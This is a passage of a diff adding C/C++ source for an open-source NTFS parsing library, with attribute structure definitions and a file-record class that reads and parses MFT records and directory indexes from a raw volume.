} ATTR_STANDARD_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: ATTRIBUTE_LIST
|
||||
|
||||
typedef struct tagATTR_ATTRIBUTE_LIST
|
||||
{
|
||||
DWORD AttrType; // Attribute type
|
||||
WORD RecordSize; // Record length
|
||||
BYTE NameLength; // Name length in characters
|
||||
BYTE NameOffset; // Name offset
|
||||
ULONGLONG StartVCN; // Start VCN
|
||||
ULONGLONG BaseRef; // Base file reference to the attribute
|
||||
WORD AttrId; // Attribute Id
|
||||
} ATTR_ATTRIBUTE_LIST;
|
||||
|
||||
// Attribute: FILE_NAME
|
||||
|
||||
#define ATTR_FILENAME_FLAG_READONLY 0x00000001
|
||||
#define ATTR_FILENAME_FLAG_HIDDEN 0x00000002
|
||||
#define ATTR_FILENAME_FLAG_SYSTEM 0x00000004
|
||||
#define ATTR_FILENAME_FLAG_ARCHIVE 0x00000020
|
||||
#define ATTR_FILENAME_FLAG_DEVICE 0x00000040
|
||||
#define ATTR_FILENAME_FLAG_NORMAL 0x00000080
|
||||
#define ATTR_FILENAME_FLAG_TEMP 0x00000100
|
||||
#define ATTR_FILENAME_FLAG_SPARSE 0x00000200
|
||||
#define ATTR_FILENAME_FLAG_REPARSE 0x00000400
|
||||
#define ATTR_FILENAME_FLAG_COMPRESSED 0x00000800
|
||||
#define ATTR_FILENAME_FLAG_OFFLINE 0x00001000
|
||||
#define ATTR_FILENAME_FLAG_NCI 0x00002000
|
||||
#define ATTR_FILENAME_FLAG_ENCRYPTED 0x00004000
|
||||
#define ATTR_FILENAME_FLAG_DIRECTORY 0x10000000
|
||||
#define ATTR_FILENAME_FLAG_INDEXVIEW 0x20000000
|
||||
|
||||
#define ATTR_FILENAME_NAMESPACE_POSIX 0x00
|
||||
#define ATTR_FILENAME_NAMESPACE_WIN32 0x01
|
||||
#define ATTR_FILENAME_NAMESPACE_DOS 0x02
|
||||
|
||||
typedef struct tagATTR_FILE_NAME
|
||||
{
|
||||
ULONGLONG ParentRef; // File reference to the parent directory
|
||||
ULONGLONG CreateTime; // File creation time
|
||||
ULONGLONG AlterTime; // File altered time
|
||||
ULONGLONG MFTTime; // MFT changed time
|
||||
ULONGLONG ReadTime; // File read time
|
||||
ULONGLONG AllocSize; // Allocated size of the file
|
||||
ULONGLONG RealSize; // Real size of the file
|
||||
DWORD Flags; // Flags
|
||||
DWORD ER; // Used by EAs and Reparse
|
||||
BYTE NameLength; // Filename length in characters
|
||||
BYTE NameSpace; // Filename space
|
||||
WORD Name[1]; // Filename
|
||||
} ATTR_FILE_NAME;
|
||||
|
||||
|
||||
// Attribute: VOLUME_INFORMATION
|
||||
|
||||
#define ATTR_VOLINFO_FLAG_DIRTY 0x0001 // Dirty
|
||||
#define ATTR_VOLINFO_FLAG_RLF 0x0002 // Resize logfile
|
||||
#define ATTR_VOLINFO_FLAG_UOM 0x0004 // Upgrade on mount
|
||||
#define ATTR_VOLINFO_FLAG_MONT 0x0008 // Mounted on NT4
|
||||
#define ATTR_VOLINFO_FLAG_DUSN 0x0010 // Delete USN underway
|
||||
#define ATTR_VOLINFO_FLAG_ROI 0x0020 // Repair object Ids
|
||||
#define ATTR_VOLINFO_FLAG_MBC 0x8000 // Modified by chkdsk
|
||||
|
||||
typedef struct tagATTR_VOLUME_INFORMATION
|
||||
{
|
||||
BYTE Reserved1[8]; // Always 0 ?
|
||||
BYTE MajorVersion; // Major version
|
||||
BYTE MinorVersion; // Minor version
|
||||
WORD Flags; // Flags
|
||||
BYTE Reserved2[4]; // Always 0 ?
|
||||
} ATTR_VOLUME_INFORMATION;
|
||||
|
||||
|
||||
// Attribute: INDEX_ROOT
|
||||
/******************************
|
||||
INDEX_ROOT
|
||||
---------------------
|
||||
| Index Root Header |
|
||||
---------------------
|
||||
| Index Header |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| Index Entry |
|
||||
---------------------
|
||||
| ...... |
|
||||
---------------------
|
||||
*******************************/
|
||||
|
||||
#define ATTR_INDEXROOT_FLAG_SMALL 0x00 // Fits in Index Root File Record
|
||||
#define ATTR_INDEXROOT_FLAG_LARGE 0x01 // Index Allocation and Bitmap needed
|
||||
|
||||
typedef struct tagATTR_INDEX_ROOT
|
||||
{
|
||||
// Index Root Header
|
||||
DWORD AttrType; // Attribute type (ATTR_TYPE_FILE_NAME: Directory, 0: Index View)
|
||||
DWORD CollRule; // Collation rule
|
||||
DWORD IBSize; // Size of index block
|
||||
BYTE ClustersPerIB; // Clusters per index block (same as BPB?)
|
||||
BYTE Padding1[3]; // Padding
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset to the first index entry, relative to this address(0x10)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of the index entries
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding2[3]; // Padding
|
||||
} ATTR_INDEX_ROOT;
|
||||
|
||||
|
||||
// INDEX ENTRY
|
||||
|
||||
#define INDEX_ENTRY_FLAG_SUBNODE 0x01 // Index entry points to a sub-node
|
||||
#define INDEX_ENTRY_FLAG_LAST 0x02 // Last index entry in the node, no Stream
|
||||
|
||||
typedef struct tagINDEX_ENTRY
|
||||
{
|
||||
ULONGLONG FileReference; // Low 6B: MFT record index, High 2B: MFT record sequence number
|
||||
WORD Size; // Length of the index entry
|
||||
WORD StreamSize; // Length of the stream
|
||||
BYTE Flags; // Flags
|
||||
BYTE Padding[3]; // Padding
|
||||
BYTE Stream[1]; // Stream
|
||||
// VCN of the sub node in Index Allocation, Offset = Size - 8
|
||||
} INDEX_ENTRY;
|
||||
|
||||
|
||||
// INDEX BLOCK
|
||||
/******************************
|
||||
INDEX_BLOCK
|
||||
-----------------------
|
||||
| Index Block Header |
|
||||
-----------------------
|
||||
| Index Header |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| Index Entry |
|
||||
-----------------------
|
||||
| ...... |
|
||||
-----------------------
|
||||
*******************************/
|
||||
|
||||
#define INDEX_BLOCK_MAGIC 'XDNI'
|
||||
|
||||
typedef struct tagINDEX_BLOCK
|
||||
{
|
||||
// Index Block Header
|
||||
DWORD Magic; // "INDX"
|
||||
WORD OffsetOfUS; // Offset of Update Sequence
|
||||
WORD SizeOfUS; // Size in words of Update Sequence Number & Array
|
||||
ULONGLONG LSN; // $LogFile Sequence Number
|
||||
ULONGLONG VCN; // VCN of this index block in the index allocation
|
||||
// Index Header
|
||||
DWORD EntryOffset; // Offset of the index entries, relative to this address(0x18)
|
||||
DWORD TotalEntrySize; // Total size of the index entries
|
||||
DWORD AllocEntrySize; // Allocated size of index entries
|
||||
BYTE NotLeaf; // 1 if not leaf node (has children)
|
||||
BYTE Padding[3]; // Padding
|
||||
} INDEX_BLOCK;
|
||||
|
||||
#endif
|
||||
|
|
@ -0,0 +1,989 @@
|
|||
/*
|
||||
* NTFS Volume and File Record Class
|
||||
*
|
||||
* Copyright(C) 2010 cyb70289 <cyb70289@gmail.com>
|
||||
*
|
||||
* This program/include file is free software; you can redistribute it and/or
|
||||
* modify it under the terms of the GNU General Public License as published
|
||||
* by the Free Software Foundation; either version 2 of the License, or
|
||||
* (at your option) any later version.
|
||||
*
|
||||
* This program/include file is distributed in the hope that it will be
|
||||
* useful, but WITHOUT ANY WARRANTY; without even the implied warranty
|
||||
* of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
* GNU General Public License for more details.
|
||||
*/
|
||||
|
||||
#ifndef __NTFS_FILERECORD_H_CYB70289
|
||||
#define __NTFS_FILERECORD_H_CYB70289
|
||||
|
||||
|
||||
///////////////////////////////////////
|
||||
// NTFS Volume forward declaration
|
||||
///////////////////////////////////////
|
||||
class CNTFSVolume
|
||||
{
|
||||
public:
|
||||
CNTFSVolume(_TCHAR volume);
|
||||
virtual ~CNTFSVolume();
|
||||
|
||||
friend class CFileRecord;
|
||||
friend class CAttrBase;
|
||||
|
||||
private:
|
||||
WORD SectorSize;
|
||||
DWORD ClusterSize;
|
||||
DWORD FileRecordSize;
|
||||
DWORD IndexBlockSize;
|
||||
ULONGLONG MFTAddr;
|
||||
HANDLE hVolume;
|
||||
BOOL VolumeOK;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
WORD Version;
|
||||
|
||||
// MFT file records ($MFT file itself) may be fragmented
|
||||
// Get $MFT Data attribute to translate FileRecord to correct disk offset
|
||||
CFileRecord *MFTRecord; // $MFT File Record
|
||||
const CAttrBase *MFTData; // $MFT Data Attribute
|
||||
|
||||
BOOL OpenVolume(_TCHAR volume);
|
||||
|
||||
public:
|
||||
__inline BOOL IsVolumeOK() const;
|
||||
__inline WORD GetVersion() const;
|
||||
__inline ULONGLONG GetRecordsCount() const;
|
||||
|
||||
__inline DWORD GetSectorSize() const;
|
||||
__inline DWORD GetClusterSize() const;
|
||||
__inline DWORD GetFileRecordSize() const;
|
||||
__inline DWORD GetIndexBlockSize() const;
|
||||
__inline ULONGLONG GetMFTAddr() const;
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
}; // CNTFSVolume
|
||||
|
||||
|
||||
////////////////////////////////////////////
|
||||
// List to hold Attributes of the same type
|
||||
////////////////////////////////////////////
|
||||
typedef class CSList<CAttrBase> CAttrList;
|
||||
|
||||
// It seems VC6.0 doesn't support template class friends
|
||||
#if _MSC_VER <= 1200
|
||||
class CAttrResident;
|
||||
class CAttrNonResident;
|
||||
template <class TYPE_RESIDENT> class CAttr_AttrList;
|
||||
#endif
|
||||
|
||||
////////////////////////////////
|
||||
// Process a single File Record
|
||||
////////////////////////////////
|
||||
class CFileRecord
|
||||
{
|
||||
public:
|
||||
CFileRecord(const CNTFSVolume *volume);
|
||||
virtual ~CFileRecord();
|
||||
|
||||
friend class CAttrBase;
|
||||
#if _MSC_VER <= 1200
|
||||
// Walk around VC6.0 compiler defect
|
||||
friend class CAttr_AttrList<CAttrResident>;
|
||||
friend class CAttr_AttrList<CAttrNonResident>;
|
||||
#else
|
||||
template <class TYPE_RESIDENT> friend class CAttr_AttrList; // Won't compiler in VC6.0, why?
|
||||
#endif
|
||||
|
||||
private:
|
||||
const CNTFSVolume *Volume;
|
||||
FILE_RECORD_HEADER *FileRecord;
|
||||
ULONGLONG FileReference;
|
||||
ATTR_RAW_CALLBACK AttrRawCallBack[ATTR_NUMS];
|
||||
DWORD AttrMask;
|
||||
CAttrList AttrList[ATTR_NUMS]; // Attributes
|
||||
|
||||
void ClearAttrs();
|
||||
BOOL PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray);
|
||||
__inline void UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard);
|
||||
CAttrBase* AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled);
|
||||
BOOL ParseAttr(ATTR_HEADER_COMMON *ahc);
|
||||
FILE_RECORD_HEADER* ReadFileRecord(ULONGLONG &fileRef);
|
||||
BOOL VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
void TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const;
|
||||
|
||||
public:
|
||||
BOOL ParseFileRecord(ULONGLONG fileRef);
|
||||
BOOL ParseAttrs();
|
||||
|
||||
BOOL InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb);
|
||||
__inline void ClearAttrRawCB();
|
||||
|
||||
__inline void SetAttrMask(DWORD mask);
|
||||
void TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context);
|
||||
__inline const CAttrBase* FindFirstAttr(DWORD attrType) const;
|
||||
const CAttrBase* FindNextAttr(DWORD attrType) const;
|
||||
|
||||
int GetFileName(_TCHAR *buf, DWORD bufLen) const;
|
||||
__inline ULONGLONG GetFileSize() const;
|
||||
void GetFileTime(FILETIME *writeTm, FILETIME *createTm = NULL, FILETIME *accessTm = NULL) const;
|
||||
|
||||
void TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const;
|
||||
__inline const BOOL FindSubEntry(const _TCHAR *fileName, CIndexEntry &ieFound) const;
|
||||
const CAttrBase* FindStream(_TCHAR *name = NULL);
|
||||
|
||||
__inline BOOL IsDeleted() const;
|
||||
__inline BOOL IsDirectory() const;
|
||||
__inline BOOL IsReadOnly() const;
|
||||
__inline BOOL IsHidden() const;
|
||||
__inline BOOL IsSystem() const;
|
||||
__inline BOOL IsCompressed() const;
|
||||
__inline BOOL IsEncrypted() const;
|
||||
__inline BOOL IsSparse() const;
|
||||
}; // CFileRecord
|
||||
|
||||
|
||||
#include "NTFS_Attribute.h"
|
||||
|
||||
|
||||
CFileRecord::CFileRecord(const CNTFSVolume *volume)
|
||||
{
|
||||
_ASSERT(volume);
|
||||
Volume = volume;
|
||||
FileRecord = NULL;
|
||||
FileReference = (ULONGLONG)-1;
|
||||
|
||||
ClearAttrRawCB();
|
||||
|
||||
// Default to parse all attributes
|
||||
AttrMask = MASK_ALL;
|
||||
}
|
||||
|
||||
CFileRecord::~CFileRecord()
|
||||
{
|
||||
ClearAttrs();
|
||||
|
||||
if (FileRecord)
|
||||
delete FileRecord;
|
||||
}
|
||||
|
||||
// Free all CAttr_xxx
|
||||
void CFileRecord::ClearAttrs()
|
||||
{
|
||||
for (int i=0; i<ATTR_NUMS; i++)
|
||||
{
|
||||
AttrList[i].RemoveAll();
|
||||
}
|
||||
}
|
||||
|
||||
// Verify US and update sectors
|
||||
BOOL CFileRecord::PatchUS(WORD *sector, int sectors, WORD usn, WORD *usarray)
|
||||
{
|
||||
int i;
|
||||
|
||||
for (i=0; i<sectors; i++)
|
||||
{
|
||||
sector += ((Volume->SectorSize>>1) - 1);
|
||||
if (*sector != usn)
|
||||
return FALSE; // USN error
|
||||
*sector = usarray[i]; // Write back correct data
|
||||
sector++;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Call user defined Callback routines for an attribute
|
||||
__inline void CFileRecord::UserCallBack(DWORD attType, ATTR_HEADER_COMMON *ahc, BOOL *bDiscard)
|
||||
{
|
||||
*bDiscard = FALSE;
|
||||
|
||||
if (AttrRawCallBack[attType])
|
||||
AttrRawCallBack[attType](ahc, bDiscard);
|
||||
else if (Volume->AttrRawCallBack[attType])
|
||||
Volume->AttrRawCallBack[attType](ahc, bDiscard);
|
||||
}
|
||||
|
||||
CAttrBase* CFileRecord::AllocAttr(ATTR_HEADER_COMMON *ahc, BOOL *bUnhandled)
|
||||
{
|
||||
switch (ahc->Type)
|
||||
{
|
||||
case ATTR_TYPE_STANDARD_INFORMATION:
|
||||
return new CAttr_StdInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_ATTRIBUTE_LIST:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_AttrList<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_AttrList<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_FILE_NAME:
|
||||
return new CAttr_FileName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_NAME:
|
||||
return new CAttr_VolName(ahc, this);
|
||||
|
||||
case ATTR_TYPE_VOLUME_INFORMATION:
|
||||
return new CAttr_VolInfo(ahc, this);
|
||||
|
||||
case ATTR_TYPE_DATA:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Data<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
return new CAttr_Data<CAttrResident>(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ROOT:
|
||||
return new CAttr_IndexRoot(ahc, this);
|
||||
|
||||
case ATTR_TYPE_INDEX_ALLOCATION:
|
||||
return new CAttr_IndexAlloc(ahc, this);
|
||||
|
||||
case ATTR_TYPE_BITMAP:
|
||||
if (ahc->NonResident)
|
||||
return new CAttr_Bitmap<CAttrNonResident>(ahc, this);
|
||||
else
|
||||
// Resident Bitmap may exist in a directory's FileRecord
|
||||
// or in $MFT for a very small volume in theory
|
||||
return new CAttr_Bitmap<CAttrResident>(ahc, this);
|
||||
|
||||
// Unhandled Attributes
|
||||
default:
|
||||
*bUnhandled = TRUE;
|
||||
if (ahc->NonResident)
|
||||
return new CAttrNonResident(ahc, this);
|
||||
else
|
||||
return new CAttrResident(ahc, this);
|
||||
}
|
||||
}
|
||||
|
||||
// Parse a single Attribute
|
||||
// Return False on error
|
||||
BOOL CFileRecord::ParseAttr(ATTR_HEADER_COMMON *ahc)
|
||||
{
|
||||
DWORD attrIndex = ATTR_INDEX(ahc->Type);
|
||||
if (attrIndex < ATTR_NUMS)
|
||||
{
|
||||
BOOL bDiscard = FALSE;
|
||||
UserCallBack(attrIndex, ahc, &bDiscard);
|
||||
|
||||
if (!bDiscard)
|
||||
{
|
||||
BOOL bUnhandled = FALSE;
|
||||
CAttrBase *attr = AllocAttr(ahc, &bUnhandled);
|
||||
if (attr)
|
||||
{
|
||||
if (bUnhandled)
|
||||
{
|
||||
NTFS_TRACE1("Unhandled attribute: 0x%04X\n", ahc->Type);
|
||||
}
|
||||
AttrList[attrIndex].InsertEntry(attr);
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Attribute Parse error: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("User Callback has processed this Attribute: 0x%04X\n", ahc->Type);
|
||||
return TRUE;
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE1("Invalid Attribute Type: 0x%04X\n", ahc->Type);
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record
|
||||
FILE_RECORD_HEADER* CFileRecord::ReadFileRecord(ULONGLONG &fileRef)
|
||||
{
|
||||
FILE_RECORD_HEADER *fr = NULL;
|
||||
DWORD len;
|
||||
|
||||
if (fileRef < MFT_IDX_USER || Volume->MFTData == NULL)
|
||||
{
|
||||
// Take as continuous disk allocation
|
||||
LARGE_INTEGER frAddr;
|
||||
frAddr.QuadPart = Volume->MFTAddr + (Volume->FileRecordSize) * fileRef;
|
||||
frAddr.LowPart = SetFilePointer(Volume->hVolume, frAddr.LowPart, &frAddr.HighPart, FILE_BEGIN);
|
||||
|
||||
if (frAddr.LowPart == DWORD(-1) && GetLastError() != NO_ERROR)
|
||||
return FALSE;
|
||||
else
|
||||
{
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (ReadFile(Volume->hVolume, fr, Volume->FileRecordSize, &len, NULL)
|
||||
&& len==Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
// May be fragmented $MFT
|
||||
ULONGLONG frAddr;
|
||||
frAddr = (Volume->FileRecordSize) * fileRef;
|
||||
|
||||
fr = (FILE_RECORD_HEADER*)new BYTE[Volume->FileRecordSize];
|
||||
|
||||
if (Volume->MFTData->ReadData(frAddr, fr, Volume->FileRecordSize, &len)
|
||||
&& len == Volume->FileRecordSize)
|
||||
return fr;
|
||||
else
|
||||
{
|
||||
delete fr;
|
||||
return NULL;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Read File Record, verify and patch the US (update sequence)
|
||||
BOOL CFileRecord::ParseFileRecord(ULONGLONG fileRef)
|
||||
{
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
if (FileRecord)
|
||||
{
|
||||
delete FileRecord;
|
||||
FileRecord = NULL;
|
||||
}
|
||||
|
||||
FILE_RECORD_HEADER *fr = ReadFileRecord(fileRef);
|
||||
if (fr == NULL)
|
||||
{
|
||||
NTFS_TRACE1("Cannot read file record %I64u\n", fileRef);
|
||||
|
||||
FileReference = (ULONGLONG)-1;
|
||||
}
|
||||
else
|
||||
{
|
||||
FileReference = fileRef;
|
||||
|
||||
if (fr->Magic == FILE_RECORD_MAGIC)
|
||||
{
|
||||
// Patch US
|
||||
WORD *usnaddr = (WORD*)((BYTE*)fr + fr->OffsetOfUS);
|
||||
WORD usn = *usnaddr;
|
||||
WORD *usarray = usnaddr + 1;
|
||||
if (PatchUS((WORD*)fr, Volume->FileRecordSize/Volume->SectorSize, usn, usarray))
|
||||
{
|
||||
NTFS_TRACE1("File Record %I64u Found\n", fileRef);
|
||||
FileRecord = fr;
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Update Sequence Number error\n");
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
NTFS_TRACE("Invalid file record\n");
|
||||
}
|
||||
|
||||
delete fr;
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Visit IndexBlocks recursivly to find a specific FileName
|
||||
BOOL CFileRecord::VisitIndexBlock(const ULONGLONG &vcn, const _TCHAR *fileName, CIndexEntry &ieFound) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return FALSE;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->HasName())
|
||||
{
|
||||
// Compare name
|
||||
int i = ie->Compare(fileName);
|
||||
if (i == 0)
|
||||
{
|
||||
ieFound = *ie;
|
||||
return TRUE;
|
||||
}
|
||||
else if (i < 0) // fileName is smaller than IndexEntry
|
||||
{
|
||||
// Visit SubNode
|
||||
if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE; // not found
|
||||
}
|
||||
// Just step forward if fileName is bigger than IndexEntry
|
||||
}
|
||||
else if (ie->IsSubNodePtr())
|
||||
{
|
||||
// Search in SubNode (IndexBlock), recursive call
|
||||
if (VisitIndexBlock(ie->GetSubNodeVCN(), fileName, ieFound))
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Traverse SubNode recursivly in ascending order
|
||||
// Call user defined callback routine once found an subentry
|
||||
void CFileRecord::TraverseSubNode(const ULONGLONG &vcn, SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
CAttr_IndexAlloc *ia = (CAttr_IndexAlloc*)FindFirstAttr(ATTR_TYPE_INDEX_ALLOCATION);
|
||||
if (ia == NULL)
|
||||
return;
|
||||
|
||||
CIndexBlock ib;
|
||||
if (ia->ParseIndexBlock(vcn, ib))
|
||||
{
|
||||
CIndexEntry *ie = ib.FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack); // recursive call
|
||||
|
||||
if (ie->HasName())
|
||||
seCallBack(ie);
|
||||
|
||||
ie = ib.FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Parse all the attributes in a File Record
|
||||
// And insert them into a link list
|
||||
BOOL CFileRecord::ParseAttrs()
|
||||
{
|
||||
_ASSERT(FileRecord);
|
||||
|
||||
// Clear previous data
|
||||
ClearAttrs();
|
||||
|
||||
// Visit all attributes
|
||||
|
||||
DWORD dataPtr = 0; // guard if data exceeds FileRecordSize bounds
|
||||
ATTR_HEADER_COMMON *ahc = (ATTR_HEADER_COMMON*)((BYTE*)FileRecord + FileRecord->OffsetOfAttr);
|
||||
dataPtr += FileRecord->OffsetOfAttr;
|
||||
|
||||
while (ahc->Type != (DWORD)-1 && (dataPtr+ahc->TotalSize) <= Volume->FileRecordSize)
|
||||
{
|
||||
if (ATTR_MASK(ahc->Type) & AttrMask) // Skip unwanted attributes
|
||||
{
|
||||
if (!ParseAttr(ahc)) // Parse error
|
||||
return FALSE;
|
||||
|
||||
if (IsEncrypted() || IsCompressed())
|
||||
{
|
||||
NTFS_TRACE("Compressed and Encrypted file not supported yet !\n");
|
||||
return FALSE;
|
||||
}
|
||||
}
|
||||
|
||||
dataPtr += ahc->TotalSize;
|
||||
ahc = (ATTR_HEADER_COMMON*)((BYTE*)ahc + ahc->TotalSize); // next attribute
|
||||
}
|
||||
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
// Install Attribute raw data CallBack routines for a single File Record
|
||||
BOOL CFileRecord::InstallAttrRawCB(DWORD attrType, ATTR_RAW_CALLBACK cb)
|
||||
{
|
||||
DWORD atIdx = ATTR_INDEX(attrType);
|
||||
if (atIdx < ATTR_NUMS)
|
||||
{
|
||||
AttrRawCallBack[atIdx] = cb;
|
||||
return TRUE;
|
||||
}
|
||||
else
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
// Clear all Attribute CallBack routines
|
||||
__inline void CFileRecord::ClearAttrRawCB()
|
||||
{
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
AttrRawCallBack[i] = NULL;
|
||||
}
|
||||
|
||||
// Choose attributes to handle, unwanted attributes will be discarded silently
|
||||
__inline void CFileRecord::SetAttrMask(DWORD mask)
|
||||
{
|
||||
// Standard Information and Attribute List is needed always
|
||||
AttrMask = mask | MASK_STANDARD_INFORMATION | MASK_ATTRIBUTE_LIST;
|
||||
}
|
||||
|
||||
// Traverse all Attribute and return CAttr_xxx classes to User Callback routine
|
||||
void CFileRecord::TraverseAttrs(ATTRS_CALLBACK attrCallBack, void *context)
|
||||
{
|
||||
_ASSERT(attrCallBack);
|
||||
|
||||
for (int i = 0; i < ATTR_NUMS; i ++)
|
||||
{
|
||||
if (AttrMask & (((DWORD)1)<<i)) // skip masked attributes
|
||||
{
|
||||
const CAttrBase *ab = AttrList[i].FindFirstEntry();
|
||||
while (ab)
|
||||
{
|
||||
BOOL bStop;
|
||||
bStop = FALSE;
|
||||
attrCallBack(ab, context, &bStop);
|
||||
if (bStop)
|
||||
return;
|
||||
|
||||
ab = AttrList[i].FindNextEntry();
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Find Attributes
|
||||
__inline const CAttrBase* CFileRecord::FindFirstAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindFirstEntry() : NULL;
|
||||
}
|
||||
|
||||
const CAttrBase* CFileRecord::FindNextAttr(DWORD attrType) const
|
||||
{
|
||||
DWORD attrIdx = ATTR_INDEX(attrType);
|
||||
|
||||
return attrIdx < ATTR_NUMS ? AttrList[attrIdx].FindNextEntry() : NULL;
|
||||
}
|
||||
|
||||
// Get File Name (First Win32 name)
|
||||
int CFileRecord::GetFileName(_TCHAR *buf, DWORD bufLen) const
|
||||
{
|
||||
// A file may have several filenames
|
||||
// Return the first Win32 filename
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
while (fn)
|
||||
{
|
||||
if (fn->IsWin32Name())
|
||||
{
|
||||
int len = fn->GetFileName(buf, bufLen);
|
||||
if (len != 0)
|
||||
return len; // success or fail
|
||||
}
|
||||
|
||||
fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindNextEntry();
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Get File Size
|
||||
__inline ULONGLONG CFileRecord::GetFileSize() const
|
||||
{
|
||||
CAttr_FileName *fn = (CAttr_FileName*)AttrList[ATTR_INDEX(ATTR_TYPE_FILE_NAME)].FindFirstEntry();
|
||||
return fn ? fn->GetFileSize() : 0;
|
||||
}
|
||||
|
||||
// Get File Times
|
||||
void CFileRecord::GetFileTime(FILETIME *writeTm, FILETIME *createTm, FILETIME *accessTm) const
|
||||
{
|
||||
// Standard Information attribute hold the most updated file time
|
||||
CAttr_StdInfo *si = (CAttr_StdInfo*)AttrList[ATTR_INDEX(ATTR_TYPE_STANDARD_INFORMATION)].FindFirstEntry();
|
||||
if (si)
|
||||
si->GetFileTime(writeTm, createTm, accessTm);
|
||||
else
|
||||
{
|
||||
writeTm->dwHighDateTime = 0;
|
||||
writeTm->dwLowDateTime = 0;
|
||||
if (createTm)
|
||||
{
|
||||
createTm->dwHighDateTime = 0;
|
||||
createTm->dwLowDateTime = 0;
|
||||
}
|
||||
if (accessTm)
|
||||
{
|
||||
accessTm->dwHighDateTime = 0;
|
||||
accessTm->dwLowDateTime = 0;
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Traverse all sub directories and files contained
|
||||
// Call user defined callback routine once found an entry
|
||||
void CFileRecord::TraverseSubEntries(SUBENTRY_CALLBACK seCallBack) const
|
||||
{
|
||||
_ASSERT(seCallBack);
|
||||
|
||||
// Start traversing from IndexRoot (B+ tree root node)
|
||||
|
||||
CAttr_IndexRoot* ir = (CAttr_IndexRoot*)FindFirstAttr(ATTR_TYPE_INDEX_ROOT);
|
||||
if (ir == NULL || !ir->IsFileName())
|
||||
return;
|
||||
|
||||
CIndexEntryList *ieList = (CIndexEntryList*)ir;
|
||||
CIndexEntry *ie = ieList->FindFirstEntry();
|
||||
while (ie)
|
||||
{
|
||||
// Visit subnode first
|
||||
if (ie->IsSubNodePtr())
|
||||
TraverseSubNode(ie->GetSubNodeVCN(), seCallBack);
|
